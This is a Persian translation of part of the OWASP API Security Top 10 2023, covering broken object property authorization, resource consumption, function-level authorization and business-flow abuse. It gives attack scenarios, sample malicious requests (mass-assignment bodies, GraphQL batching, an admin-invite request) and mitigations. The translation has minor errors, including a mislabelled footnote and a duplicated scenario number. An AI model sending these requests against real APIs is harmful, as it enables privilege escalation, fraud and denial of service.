- برای عملیات حساس (مانند تغییر آدرس ایمیل مالک حساب/شماره تلفن مربوط به احراز هویت دو عاملی)، نیاز به احراز هویت مجدد می‌باشد.
- از راهنمای احرازهویت OWASP استفاده شود.
- بکارگیری احرازهویت چندعاملی[20]، در هر جا که امکان داشت.
- برای کاهش حملات درج هویت، Dictionary و Brute force، مکانیزم‌های ضد حمله Brute force را پیاده‌سازی کنید. این مکانیزم‌ها باید سخت‌گیرانه‌تر از مکانیزم‌های معمول محدودیت نرخ در APIها باشند.
- برای جلوگیری از حملات brute force بر روی کاربران خاص، مکانیزم‌های قفل کردن حساب کاربری و استفاده از CAPTCHA و برای افزایش امنیت، روش‌های شناسایی رمزهای عبور ضعیف نیز باید پیاده‌سازی شوند.
- کلیدهای API نباید برای احراز هویت کاربران استفاده شوند و تنها می‌بایست برای احراز هویت مشتریان API مورد استفاده قرار گیرند.

مراجع

OWASP

- OWASP Key Management Cheat Sheet
- OWASP Authentication Cheatsheet
- Credential Stuffing

خارجی

---

[19] Login
[20] Multi-factor Authentication

- CWE-204: Observable Response Discrepancy
- CWE-307: Improper Restriction of Excessive Authentication Attempts

API3:2023 نقض مجوزدهی در سطح ویژگی‌های شیء

خاص API	قابلیت بهره‌برداری: آسان	میزان شیوع: متداول	قابلیت تشخیص: آسان	پیامد فنی: متوسط	خاص کسب‌وکار
APIها معمولاً اطلاعات تمام ویژگی‌های شیء درخواستی را به کاربر ارائه می‌دهند. این ویژگی در APIهای REST بسیار رایج است. در مقابل، در پروتکل‌های دیگر مانند GraphQL، شما می‌توانید درخواست‌های دقیق‌تری برای بازگشت ویژگی‌های خاص از یک شیء ارسال کنید. درنتیجه کنترل دقیق‌تری بر روی داده‌های دریافتی خواهید داشت. آگاهی از اینکه کدام ویژگی شیء، اضافی است دشوار است؛ زیرا ویژگی‌های اضافی ممکن است بسته به شرایط، تغییر کنند، اما ابزارهای خودکاری نیز وجود دارند که به تشخیص و مدیریت این ویژگی‌ها کمک می‌کنند.			بررسی پاسخ‌های API، روشی برای شناسایی اطلاعات حساس می‌باشد که از طریق این شناسایی می‌توان ویژگی‌های اضافی و پنهان را کشف کرد. از تکنیک‌هایی مانند فازینگ برای شناسایی ویژگی‌های اضافی استفاده می‌شود. اگر می‌خواهید بفهمید که آیا این ویژگی‌ها قابل تغییر هستند یا نه، باید درخواست‌های API خاصی را ارسال کرده و پس از تجزیه و تحلیل پاسخ‌های دریافتی درباره حساسیت اطلاعات موجود در آن، تصمیم بگیرید. در صورتی که ویژگی مورد نظر در پاسخ API نباشد، ممکن است نیاز به تحلیل اثرات جانبی داشته باشید تا بتوانید ویژگی مورد نظر را شناسایی و کنترل کنید.		دسترسی غیرمجاز به ویژگی‌های حساس یا خصوصی شیء، ممکن است منجر به افشا، از دست دادن یا خرابی داده شود. در شرایط خاص، دسترسی غیرمجاز به ویژگی‌های شیء می‌تواند به ارتقاء سطح دسترسی یا تصاحب جزئی/کامل حساب کاربری منجر شود.

آیا API از نظر نقض مجوزدهی در سطح ویژگی‌های شیء[21] آسیب‌پذیر است؟

هنگامی که از طریق یکendpoint به یک کاربر اجازه دسترسی به یک شیء می‌دهید، دقت کنید که کاربر تنها به ویژگی‌های مجاز دسترسی داشته باشد. endpoint آسیب‌پذیر است اگر:

1. ویژگی‌های حساس یک شیء را به کاربر غیرمجاز، افشا کند (این مورد قبلاً با نام "افشای مفرط داده" نامگذاری شده بود).

2. به کاربر اجازه دهد که مقدار یک ویژگی حساس شیء را که کاربر نباید به آن دسترسی داشته باشد، تغییر داده، اضافه یا حذف کند (این مورد قبلاً با نام "تخصیص جمعی" نامگذاری شده بود).

مثال‌هایی از سناریوهای حمله

[21] Broken Object Property Level Authorization

سناریو #۱

یک برنامه دوستیابی به کاربر این امکان را می‌دهد که رفتار نامناسب دیگر کاربران راگزارش کند. در این فرآیند، کاربر روی دکمه "گزارش" کلیک کرده و API زیر را فراخوانی می‌کند:

```
POST /graphql
{
  "operationName":"reportUser",
  "variables":{
    "userId": 313,
    "reason":["offensive behavior"]
  },
  "query":"mutation reportUser($userId: ID!, $reason: String!) {
    reportUser(userId: $userId, reason: $reason) {
      status
      message
      reportedUser {
        id
        fullName
        recentLocation
      }
    }
  }"
}
```

endpoint این API آسیب‌پذیر است زیرا به کاربر احراز هویت شده اجازه دسترسی به ویژگی‌های حساس (گزارش‌شده) شیء کاربر مانند "نام کامل" و "وضعیت اخیر" را می‌دهد که قاعدتا این ویژگی‌ها نباید توسط کاربران دیگر قابل دسترس باشند.

سناریو #۲

یک پلتفرم اجاره اقامتگاه آنلاین را در نظر بگیرید که در آن به کاربران میزبان اجازه می‌دهد که آپارتمان خود را به کاربران مهمان اجاره دهند. میزبان می‌بایست پیش از اقدام به پرداخت مهمان، درخواست رزرو وی را تأیید کند.

```
{
  "approved": true,
  "comment": "Check-in is after 3pm"
}
```

میزبان می‌تواند درخواست معتبر را تکرار کرده و پیام‌های مخرب زیر را اضافه کند:

```
{
  "approved": true,
  "comment": "Check-in is after 3pm",
  "total_stay_price": "$1,000,000"
}
```

endpoint به علت عدم اعتبارسنجی و احراز هویت کافی و دسترسی میزبان به ویژگی داخلی total_stay_price، آسیب‌پذیر بوده و مهمان متحمل پرداخت هزینه بیشتری می‌شود.

سناریو #۳

یک شبکه اجتماعی که برای نمایش ویدیوهای کوتاه ساخته شده است، اقدام به اعمال فیلترینگ محتوا و سانسور محتوای کاربران می‌نماید. حتی اگر ویدیوی آپلود شده مسدود شود، کاربر می‌تواند توضیحات ویدیو را با استفاده از درخواست API زیر تغییر دهد:

```
PUT /api/video/update_video

{
  "description": "a funny video about cats"
}
```

یک کاربر ناراضی می‌تواند درخواست معتبر را تکرار کرده و پیامهای مخرب زیر را به درخواست اضافه کند:

```
{
  "description": "a funny video about cats",
  "blocked": false
}
```

endpoint این API آسیب‌پذیر است؛ زیرا اعتبارسنجی کافی برای اطمینان از دسترسی کاربر مجاز به ویژگی داخلی blocked وجود نداشته و کاربر می‌تواند مقدار آن را از true به false تغییر داده و محتوای مسدود شده را باز کند.

چگونه از آسیب‌پذیری نقض مجوزدهی در سطح ویژگی‌های شیء پیشگیری کنیم؟

- هنگام ارائه یک شیء از طریقendpoint ، همیشه اطمینان حاصل کنید که کاربر از قبل به ویژگی‌های ارائه شده، دسترسی داشته باشد.
- اجتناب از استفاده از متدهای عمومی `to_json` و `to_string` و در عوض عوض شناسایی کردن تک تک ویژگی‌ها و مشخصه‌هایی که برای پاسخ ضروری هستند.
- در صورت امکان، از توابعی که به طور خودکار ورودی کاربر را به متغیرهای کد، اشیاء داخلی یا ویژگی‌های شیء متصل می‌کنند ("تخصیص جمعی") استفاده نکنید.
- کاربر تنها بتواند ویژگی‌های مشخص و مجاز شیء را بروزرسانی کند.
- بکارگیری یک مکانیزم اعتبارسنجی الگومحور برای بررسی اعتبار پاسخ‌ها بعنوان یک لایه امنیتی دیگر و همچنین تعریف و اعمال این مکانیزم بر روی داده بازگردانده شده تمامی APIها از جمله خطاها.

- بر اساس نیازهای متد درخواستی، ساختارهای داده بازگردانده شده را در حداقل مقدار ممکن نگه دارید.

مراجع

OWASP

- API3:2019 Excessive Data Exposure - OWASP API Security Top 10 2019
- API6:2019 - Mass Assignment - OWASP API Security Top 10 2019
- Mass Assignment Cheat Sheet

خارجی

- CWE-213: Exposure of Sensitive Information Due to Incompatible Policies
- CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes

API4:2023 استفاده نامحدود از منابع

عوامل تهدید	مسیر حمله	ضعف امنیتی	پیامد
خاص API	قابلیت بهره‌برداری: متوسط	میزان شیوع: گسترده	قابلیت تشخیص: آسان	پیامد فنی: شدید	خاص کسب‌وکار
بهره برداری از این آسیب‌پذیری نیاز به ارسال درخواست‌های ساده‌ای به سوی API دارد. کافی است تعدادی درخواست هم‌زمان از یک ماشین و یا با استفاده از منابع رایانش ابری به سوی API ارسال گردد تا بتوان از این آسیب‌پذیری بهره برد. اکثر ابزارهای خودکاری که موجود هستند، به منظور ایجاد حمله DoS از طریق بارگذاری حجم زیادی از ترافیک طراحی شده‌اند که این کار می‌تواند به سرویس‌دهی APIها آسیب رسانده و سرعت آن‌ها را کاهش دهد.	یافتن APIهایی که محدودسازی نرخ ارسال را بکار نگرفته یا محدودیت‌های اعمال شده آنها ناکافی است، کار دشواری نیست. برای شناسایی این مشکل، مهاجمان می‌توانند درخواست‌های API را با پارامترهای خاصی طراحی کنند که تعداد منابعی را که API باز می‌گرداند، تغییر دهند. سپس با تجزیه و تحلیل وضعیت، زمان، و طول پاسخ‌های دریافتی، مشکل را شناسایی کنند. این موضوع برای عملیات‌های دسته‌ای هم صدق می‌کند. مهاجمان می‌توانند درخواست‌های دسته‌ای را با تغییر تعداد منابعی که در هر درخواست بازگشت داده می‌شوند، ارسال کرده و با ایجاد بارگذاری نامتعادل، اثرات منفی بر روی سرویس API ایجاد کنند. ممکن است مهاجمان اطلاعی از هزینه‌های اقتصادی حملات خود برای ارائه‌دهندگان خدمات نداشته باشند، اما می‌توانند با تحلیل مدل تجاری و قیمت‌گذاری خدمات، اثرات مالی این حملات را تخمین بزنند.	بهره برداری از این آسیب‌پذیری می‌تواند منجر به بروز DoS شده، در نتیجه API را از پاسخ به درخواست‌ها باز دارد و یا حتی آن را از دسترس خارج نماید. استفاده از این آسیب‌پذیری می‌تواند به دو شکل تأثیر منفی داشته باشد. اولاً، می‌تواند منجر به حمله DoS شده و منابع سیستم را اشغال کند. دوماً، به دلیل افزایش تقاضا بر روی واحدهای پردازشی، افزایش نیاز به فضای ذخیره‌سازی ابری و موارد مشابه می‌تواند منجر به افزایش هزینه‌های عملیاتی مرتبط با زیرساخت شود.

آیا API از نظر مصرف بدون محدودیت منابع [۲۲] آسیب‌پذیر است؟

درخواست‌های ارسال شده به سوی API منابعی از قبیل پهنای باند شبکه، پردازنده، حافظه و فضای ذخیره‌سازی را مصرف می‌کنند. برخی از منابع مورد نیاز برای اجرای درخواست‌های API از طریق دیگر ارائه‌دهندگان خدمات

[22] Unrestricted Resource Consumption

API فراهم می‌شوند. این منابع ممکن است شامل ارسال ایمیل، پیام متنی، تماس تلفنی یا اعتبارسنجی بیومتریک و موارد مشابه باشند.

اگر دست‌کم یکی از محدودیت‌های زیر در سمت API به کلی اعمال نشده یا بطور نادرست (مثلا بیش از حد زیاد یا بیش از حد کم) پیاده‌سازی شده باشد آنگاه API از منظر محدودیت یا کمبود نرخ ارسال، آسیب‌پذیر خواهد بود:

- Time Out اجرا[۲۳]
- حداکثر میزان حافظه قابل تخصیص
- حداکثر تعداد توصیف‌گر[۲۴] فایل‌ها
- حداکثر تعداد پردازه‌ها
- حداکثر سایز بارگزاری فایل
- تعداد فراخوانی‌هایی که یک کلاینت می‌تواند در یک درخواست واحد انجام دهد (مانند GraphQL batching)
- تعداد رکوردهای بازگردانده شده در هر صفحه
- حداکثر هزینه‌ای که ارائه‌دهندگان خدمات شخص ثالث می‌توانند از مشتریان دریافت کنند

مثال‌هایی از سناریوهای حمله

سناریو #۱

یک شبکه اجتماعی بخش "فراموشی رمز عبور" را با استفاده از روش تأییدیه پیامکی پیاده‌سازی کرده است. کاربر پس از دریافت یک توکن یک‌بار مصرف از طریق پیامک، می‌تواند رمز عبور خود را بازنشانی کند. با کلیک بر روی گزینه "فراموشی رمز عبور"، API مرتبط از مرورگر کاربر به API Back-End ارسال می‌شود:

```
POST /initiate_forgot_password

{
  "step": 1,
  "user_number": "6501113434"
}
```

[23] Execution Timeout
[24] Descriptor

در پس‌زمینه، یک تماس API از سمت سرور به یک API از شخص ثالثی که وظیفه تحویل پیامک را دارد، ارسال می‌شود:

```
POST /sms/send_reset_pass_code

Host: willyo.net

{
  "phone_number": "6501113434"
}
```

سرویس دهنده طرف ثالث با نام willyo ، برای هر تماس از این نوع، مبلغ ۰.۰۵ دلار هزینه می‌کند. مهاجم اسکریپتی می‌نویسد که اولین تماس API را ده‌ها هزار بار ارسال می‌کند. سپس بخش پشتیبانی از طریق درخواست از willyo می‌خواهد تا ده‌ها هزار پیام متنی ارسال کند که سبب می‌شود تا در عرض چند دقیقه هزاران دلار را از دست بدهد.

سناریو #۲

کاربر از طریق GraphQL API می‌تواند تصویر پروفایل خود را بارگذاری کند.

```
POST /graphql

{
  "query": "mutation {
    uploadPic(name: \"pic1\", base64_pic: \"R0FOIEFOR0xJVA…\") {
      url
    }
  }"
}
```

بعد از اتمام عملیات بارگذاری تصویر توسط کاربر، API چندین تصویر کوچک با اندازه‌های مختلف از روی تصویر اصلی ایجاد می‌کند. این عملیات گرافیکی نیاز به حافظه زیادی از سرور دارد. API مذکور، از مکانیزم محدودیت نرخ سنتی استفاده می‌کند، به این معنا که یک کاربر نمی‌تواند در یک دوره زمانی کوتاه تعداد زیادی درخواست به تابع انتهایی GraphQL ارسال کند. همچنین، قبل از ایجاد تصاویر کوچک[۲۵] از تصویر بارگذاری شده، اندازه تصویر بارگذاری شده را بررسی می‌کند تا از پردازش تصاویری که بسیار بزرگ هستند جلوگیری کند. مهاجم می‌تواند با ارسال درخواست‌های مختلف و با حجم زیاد، از این مکانیزم‌ها عبور کرده و به تابع انتهایی GraphQL دسترسی پیدا کند:

```
POST /graphql

[
```

[25] Thumbnail

```
  {"query": "mutation {uploadPic(name: \"pic1\", base64_pic:
\"R0FOIEFOR0xJVA…\") {url}}"},
  {"query": "mutation {uploadPic(name: \"pic2\", base64_pic:
\"R0FOIEFOR0xJVA…\") {url}}"},
  ...
  {"query": "mutation {uploadPic(name: \"pic999\", base64_pic:
\"R0FOIEFOR0xJVA…\") {url}}"},
}
```

به علت عدم محدودیت در تعداد دفعات انجام عملیات uploadPic، این تماس منجر به اشغال حافظه سرور و وقوع DoD خواهد شد.

سناریو #۳

یک سرویس دهنده، به مشتریان اجازه می‌دهد که با استفاده از API آنها، فایل‌هایی با حجم دلخواه دانلود کنند. این فایل‌ها در فضای ابری ذخیره شده و اغلب تغییری نمی‌کنند. این سرویس دهنده برای بهبود نرخ ارائه خدمات و کاهش مصرف پهنای باند به یک سرویس حافظه‌پنهان مورد اعتماد نیاز دارد. این سرویس فقط فایل‌هایی را ذخیره می‌کند که حداکثر ۱۵ گیگابایت حجم دارند. اگر یکی از فایل‌ها بروزرسانی شده و اندازه آن به ۱۸ گیگابایت افزایش یابد، همه مشتریان سرویس فورا نسخه جدید را دریافت می‌کنند. از آنجا که هیچ هشداری در مورد هزینه مصرفی وجود نداشته و مقدار حداکثری برای هزینه سرویس ابری تعیین نشده بود، صورت‌حساب ماهیانه بعدی از ۱۳ دلار به طور میانگین به ۸ هزار دلار افزایش می‌یابد.

چگونه از آسیب‌پذیری مصرف بدون محدودیت منابع پیشگیری کنیم؟

- محدودسازی حافظه، پردازنده، تعداد دفعات راه اندازی مجدد، توصیف‌گرهای فایل و پردازه‌ها با استفاده از کانتینرها یا کد بدون سرور (مانند Lambdas).
- تعریف و اِعمال بیشینه اندازه داده (نظیر بیشینه طول برای رشته‌ها یا بیشینه تعداد عناصر در آرایه‌ها) در درخواست‌ها و محموله‌های ورودی (بدون توجه به اینکه درحافظه محلی یا فضای ابری ذخیره می‌شوند).
- اعمال محدودیت بر تعداد دفعات تعامل با API در یک دوره زمانی مشخص (محدودیت نرخ).
- محدودیت نرخ باید بر اساس نیازهای کسب و کار بهبود یابد. برخی از توابع انتهایی API ممکن است نیاز به سیاست‌های سخت‌گیرانه‌تری داشته باشند.
- محدود کردن تعداد دفعات اجرای عملیات مربوط به یک API توسط یک مشتری/کاربر در زمان مشخص (برای مثال، تأیید OTP یا درخواست بازیابی رمز عبور بدون استفاده از URL یک‌بار مصرف).

- اجرای یک فرآیند اعتبارسنجی دقیق در طرف سرور برای پارامترهایی که به صورت متغیر در رشته‌های پرس و جو وجود دارند. به ویژه برای پارامتری که تعیین می‌کند چه تعداد رکورد در پاسخ به درخواست ارسالی باید برگشت داده شود.
- پیکربندی محدودیت مقدار مصرف برای تمام سرویس دهندگان API. اگر تنظیم محدودیت مقدار مصرف امکان‌پذیر نیست، به جای آن باید هشدارهای مالی پیکربندی شوند.

مراجع

OWASP

- "Availability" - Web Service Security Cheat Sheet
- "DoS Prevention" - GraphQL Cheat Sheet
- "Mitigating Batching Attacks" - GraphQL Cheat Sheet

External

خارجی

- CWE-770: Allocation of Resources Without Limits or Throttling
- CWE-400: Uncontrolled Resource Consumption
- CWE-799: Improper Control of Interaction Frequency
- "*Rate Limiting (Throttling)*" - Security Strategies for Microservices-based Application Systems, NIST

API5:2023 نقض مجوزدهی در سطح توابع

خاص API	قابلیت بهره‌برداری: آسان	میزان شیوع: متداول	قابلیت تشخیص: آسان	پیامد فنی: آسان	خاص کسب‌وکار
بهره برداری از این آسیب‌پذیری یعنی ارسال فراخوانی‌های API درست[۲۶] توسط مهاجم به سوی تابع انتهاییAPI در ارتباط با فراخوانی‌هایی که مهاجم مجوز آنها را ندارد. این Endpointها ممکن است در معرض دید کاربران ناشناس، بدون مجوز یا با مجوز عادی قرار داشته باشند. برای مهاجم تشخیص وجود چنین نواقصی در API آسان تر است چرا که ساختارمندتر بوده و نحوه دسترسی آنها به توابع، قابل پیش بینی تر است (مثلا تغییر متد HTTP از GET به PUT یا تغییر رشته "users" در URL به "admins").		کنترل‌های مجوزدهی برای توابع یا منابع غالبا در سطح پیکربندی یا کد مدیریت می شوند. بکارگیری کنترل‌های مناسب می‌تواند گیج کننده باشد چرا که اپلیکیشن‌های مدرن امروزی غالبا دارای انواع مختلفی از نقش‌ها و گروه‌ها و سلسله مراتب کاربری هستند (مثلا کاربران دارای بیش از یک نقش). کشف نقائص در API ها به علت ساختار سازمان‌مندتر و همچنین پیش‌بینی‌پذیری بالاتر در دسترسی به توابع مختلف، نسبت به سایر بخش‌های نرم‌افزاری، ساده‌تر است.		چنین مشکلاتی منجر به دسترسی غیرمجاز مهاجم به توابع می‌شود. در این صورت توابع مدیریتی[۲۷] از جمله اهداف کلیدی مهاجم خواهند بود و ممکن است منجر به افشا، از دست رفتن یا خرابی داده شده و اختلال در خدمات را به دنبال داشته باشد.	

آیا API از نظر نقض مجوزدهی در سطح توابع[۲۸] آسیب‌پذیر است؟

بهترین راه یافتن مشکلات مجوزدهی در سطح توابع، تحلیل عمیق مکانیزم مجوزدهی با لحاظ کردن سلسله مراتب کاربران، نقش‌ها و گروه‌های متفاوت موجود در اپلیکیشن و پرسیدن پرسش‌های زیر است:

- آیا کاربر عادی می‌تواند به توابع و نقاط مدیریتی در API دسترسی داشته باشد؟
- آیا کاربری می‌تواند عمل حساسی که مجوز انجام آن را ندارد (نظیر ایجاد، تغییر یا حذف) را صرفا با تغییر متد HTTP (مثلا از GET به DELETE) انجام دهد؟

[26] Legitimate
[27] Administrative Functions
[28] Broken Function Level Authentication

- آیا کاربری از گروه X می‌تواند صرفا با حدس زدن URLهای توابع و پارامترهای آن به مسیری (نظیر api/v1/users/export_all/) که فقط باید برای کاربران گروه Y قابل مشاهده باشد دسترسی یابد؟

بایستی در نظر داشت که عادی یا مدیریتی بودن یک تابع در API (همان API Endpoint) صرفا بر مبنای مسیر URL تعیین نمی‌شود.

در حالیکه توسعه دهندگان بیشتر تمایل دارند که توابع مدیریتی را ذیل یک مسیر نسبی[۲۹] معین مانند api/admin قرار دهند، اما بسیار دیده می شود که این توابع مدیریتی در کنار توابع عادی در مسیرهایی نظیر api/users قرار داده شده‌اند.

مثال‌هایی از سناریوهای حمله

سناریو #۱

در خلال فرایند ثبت نام در یک اپلیکیشن که فقط به کاربران دعوت شده اجازه عضویت می‌دهد، اپلیکیشن موبایل، یک فراخوانی API به GET /api/invites/{invite_guid} می‌فرستد. پاسخ دریافتی فایل JSONی را دارا است که درون آن اطلاعات دعوتنامه‌ها شامل نقش کاربر و آدرس ایمیل وی دیده می‌شود.

مهاجم درخواست مذبور را ضبط کرده و متد HTTP را به POST /api/invites/new تغییر می‌دهد. این تابع تنها بایستی از طریق کنسول مدیریت و برای ادمین‌ها قابل دسترسی باشد که بعلت عدم بکارگیری کنترل‌های صحیح مجوزدهی درسطح توابع اینگونه نیست.

در گام بعد مهاجم از این مساله بهره برداری کرده و برای خود دعوتنامه‌ای جهت ساخت یک اکانت ادمین می‌فرستد:

```
POST /api/invites/new
{“email”:”hugo@malicious.com”,”role”:”admin”}
```

سناریو #۲

یک API دارای تابعی است که فقط ادمین‌ها بایستی آن را ببینند:

[29] Relative Path

```
GET /api/admin/v1/users/all
```

این تابع در پاسخ جزئیات تمامی کاربران اپلیکیشن را برگردانده و کنترل‌های مجوزدهی در سطح توابع را نیز به درستی پیاده‌سازی نکرده است. مهاجمی که با ساختار API آشنایی پیدا کرده، این مسیر را حدس زده و اطلاعات حساس تمامی کاربران اپلیکیشن را می‌رباید.

چگونه از آسیب‌پذیری نقض مجوزدهی در سطح توابع پیشگیری کنیم؟

ماژول مجوزدهی اپلیکیشن بایستی بطور یکپارچه توسط تمامی توابع اپلیکیشن فراخوانی شده و تحلیل آن نیز آسان باشد. همچنین در بیشتر مواقع، این روش حفاظتی توسط یک یا چند مولفه بیرونی و خارج از کد اصلی اپلیکیشن فراهم می‌شود.

- مکانیزم (های) اعمال شده بایستی بطور پیشفرض کلیه دسترسی‌ها را Deny (رد) نموده و برای دسترسی به هر یک از توابع، مجوزخاص دسترسی نقش مربوطه را طلب نمایند.
- توابع API از منظر نواقص مجوزدهی در سطح تابع با درنظر گرفتن منطق اپلیکیشن و سلسله مراتب گروه‌های کاربری مورد بازبینی قرار گیرد.
- تمامی کنترلگرهای مدیریتی از یک کنترلگر مدیریتی انتزاعی که مجوزها را بر حسب نقش کاربر یا گروه پیاده‌سازی نموده، ارث بری داشته باشند.
- تمامی توابع مدیریتی درون یک کنترلگر عادی (غیرمدیریتی)، کنترل‌های مجوز مبتنی بر نقش کاربر یا گروه را بکارگیرند.
- حصول اطمینان از این که تمام کنترل‌گرهای مدیریتی از یک کنترل‌گر انتزاعی مدیریتی به ارث برده شدند که بر اساس گروه/نقش کاربری عملیات احراز هویت را انجام می‌دهد.
- حصول اطمینان از این که عملیات مدیریتی در داخل یک کنترل‌گر معمولی پس از بررسی‌های احراز هویت بر اساس گروه و نقش کاربر و بر اساس منطق کسب و کار پیاده‌سازی می‌شوند.

مراجع

OWASP

- OWASP Article on Forced Browsing

- OWASP Top 10 2013-A7-Missing Function Level Access Control
- OWASP Development Guide: Chapter on Authorization

خارجی

- CWE-285: Improper Authorization

API6:2023 دسترسی نامحدود به جریان‌های حساس کسب و کار

خاص API	قابلیت بهره‌برداری: آسان	میزان شیوع: گسترده	قابلیت تشخیص: متوسط	پیامد فنی: متوسط	خاص کسب‌وکار
	بهره برداری از این آسیب‌پذیری غالبا نیاز به فهم منطق کسب و کار، روابط مابین اشیا و ساختار API از سوی مهاجم دارد.		نداشتن یک دیدگاه کلی از API برای پشتیبانی کامل از نیازهای کسب و کار به تکرار این مشکلات منجر می‌شود. مهاجمان به صورت دستی منابع هدف(مثلاً نقاط پایان) و چگونگی کارکرد آنها را مشخص می‌کنند. اگر مکانیزم‌های مخصوص جلوگیری از حملات (تعداد دسترسی محدود به API، محدودیت نرخ و غیره) از قبل وجود داشته باشند، مهاجمان باید راهی برای دور زدن آنها پیدا کنند.		بطور کلی بهره‌برداری از این آسیب‌پذیری نباید تأثیرات فنی داشته باشد. اما مواردی مانند عدم امکان خرید محصول توسط کاربران معتبر یا ایجاد تورم در اقتصاد داخلی نیز ممکن است پیامد این آسیب‌پذیری باشند.

آیا API از نظر دسترسی بدون محدودیت به جریان‌های کسب‌وکار حساس [30] آسیب‌پذیر است؟

در زمان ایجاد یک API Endpoint، باید مشخص شود چه جریان کاری‌ای افشا می‌شود. برخی از جریان‌های کاری نسبت به دیگران حساس‌تر هستند، به معنای اینکه دسترسی به آنها بیش از حد مجاز ممکن است به کسب و کار آسیب بزند.

نمونه‌هایی از «ویژگی‌های حساس» عبارتند از:

- جریان خرید محصول - مهاجم می‌تواند به یک‌باره تمام موجودی یک محصول با تقاضای بالا را خریداری کرده و سپس آن محصول را با قیمت بالاتری مجدداً بفروشد (scalping).
- جریان ایجاد نظر یا پست - مهاجم ممکن است سیستم را با ارسال نظرات یا پست‌های مکرر دچار مشکل کند.

[30] Mass Assignment

- جریان رزرو کردن - مهاجم می‌تواند تمام بازه‌های زمانی موجود را رزرو کرده و مانع استفاده دیگر کاربران شود.

خطر دسترسی بیش از حد، بین صنایع و کسب و کارهای مختلف متغیر است. به عنوان مثال، ایجاد پست توسط یک اسکریپت ممکن است در یک شبکه اجتماعی به عنوان خطر اسپم در نظر گرفته شود، اما درشبکه اجتماعی دیگر تشویق شود.

اگر یک تابع انتهایی API امکان دسترسی بیش از حد به یک جریان کسب و کار حساس را فراهم کند، در معرض حملات و سوءاستفاده مهاجمان خواهد بود.

مثال‌هایی از سناریوهای حمله

سناریو #۱

یک شرکت فناوری اعلام می‌کند که قصد دارد یک کنسول بازی جدید را در روز شکرگزاری منتشر کند. این محصول تقاضای بسیار بالا و موجودی محدودی دارد. مهاجم کدی می‌نویسد تا به صورت خودکار محصول جدید را بخرد.

در روز انتشار، مهاجم کد را از طریق آدرس IPها و مکان‌های مختلف اجرا می‌کند. تابع انتهاییAPI اقدامات حفاظتی مناسبی را پیاده‌سازی نکرده و درنتیجه به مهاجم این امکان را می‌دهد که بیشترین تعداد ممکن از موجودی را قبل از سایر کاربران معتبر بخرد.

سناریو #۲

یک شرکت هواپیمایی خدمات مربوط به خرید بلیط آنلاین را بدون هیچ گونه هزینه‌ی لغو خرید، به کاربران ارائه می‌دهد. یک کاربر، ۹۰٪ از صندلی‌های پرواز مورد نظر را رزرو می‌کند.

چند روز پیش از پرواز، کاربر مذکور، همه بلیط‌ها را یک‌جا لغو می‌کند، که باعث می‌شود شرکت هواپیمایی برای پر کردن پرواز، مجبور شود بلیط‌ها را با تخفیف بفروشد.در این حالت، کاربر می‌تواند یک بلیط به قیمت بسیار ارزان‌تر از بلیط اصلی بخرد.

سناریو #۲

یک اپلیکیشن سفر اشتراکی برنامه‌ای برای معرفی دوستان دارد کاربران می‌توانند دوستان خود را دعوت کرده و برای هر دوستی که به اپلیکیشن بپیوندد، اعتبار دریافت کنند. این اعتبار بعداً می‌تواند به عنوان وجه نقد برای رزرو سفرها استفاده شود. مهاجم با نوشتن یک اسکریپت فرآیند ثبت‌نام را به صورت خودکار انجام می‌دهد و با هر فرآیند ثبت‌نام کاربر جدید، اعتباری به کیف پولش اضافه می‌شود. مهاجم بعداً می‌تواند از سفرهای رایگان بهره‌برداری کرده یا حساب‌هایی با اعتبارهای اضافی را در ازای پول نقد بفروشد.

چگونه از آسیب‌پذیری دسترسی بدون محدودیت به جریان‌های کسب‌وکار حساس پیشگیری کنیم؟

برنامه‌ریزی برای کاهش تهدیدات در دو لایه باید انجام شود:

- در لایه کسب و کار، باید جریان‌های کسب و کار حساسی را شناسایی کنیم که اگر به صورت نرم‌افزاری استفاده شوند، ممکن است به کسب‌وکار آسیب بزنند.
- در لایه مهندسی، مکانیزم‌های حفاظتی مناسبی را برای کاهش خطرهای لایه کسب و کار انتخاب می‌کنیم.

در این قسمت به مکانیزم‌های حفاظتی مختلف برای کاهش تهدیدات خودکار اشاره شده است. برخی از این مکانیزم‌ها ساده‌تر هستند و برخی دیگر پیچیده‌تر. روش‌های مختلفی برای کاهش سرعت تهدیدات خودکار مورد استفاده قرار می‌گیرد:

- شناسایی دستگاه: این روش از طریق شناسایی و ممنوعیت دسترسی به دستگاه‌های ناشناخته می‌تواند مهاجمان را وادار به استفاده از راهکارهای پیچیده‌تری کند که برای آنها هزینه بیشتری دارد. مثلاً، سیستم ممکن است دسترسی مرورگرهای بدون رابط کاربری[31] را ممنوع کند.
- شناسایی انسان: از راهکارهایی مانند Captcha یا راهکارهای بیومتریک پیشرفته‌تر مانند الگوهای تایپ کردن برای شناسایی کاربران انسانی استفاده می‌شود.
- الگوهای غیرانسانی: با تجزیه و تحلیل الگوهای عملکرد کاربران می‌توان الگوهای غیرانسانی را شناسایی کرد. به عنوان مثال، دسترسی کاربر به عملیات "افزودن به سبد خرید" و "تکمیل خرید" در کمتر از یک ثانیه، ممکن است نشانه‌ای از الگوی غیرانسانی باشد.

[31] headless browsers

- مسدود کردن آدرس‌های IP از گره‌های خروجی Tor و پروکسی‌های معروف: این روش به مسدود کردن آدرس‌های IP مخصوص می‌پردازد که ممکن است توسط مهاجمان مورد استفاده قرار گیرد.

محدود کردن دسترسی به APIهای مصرفی مستقیم توسط دستگاه‌ها (مانند APIهای توسعه‌دهندگان و B2B) مهاجمان را از دسترسی آسان به این APIها بازمی‌دارد. از آن‌جایی که این نوع APIها اغلب تمام مکانیزم‌های حفاظتی مورد نیاز را پیاده‌سازی نمی‌کنند، معمولا برای مهاجمان هدف آسانی می‌باشند.

مراجع

OWASP

- OWASP Automated Threats to Web Applications
- API10:2019 Insufficient Logging & Monitoring

API7:2023 جعل درخواست در سمت سرور(SSRF)

خاص API	قابلیت بهره‌برداری: آسان	میزان شیوع: متداول	قابلیت تشخیص: آسان	پیامد فنی: متوسط	خاص کسب‌وکار
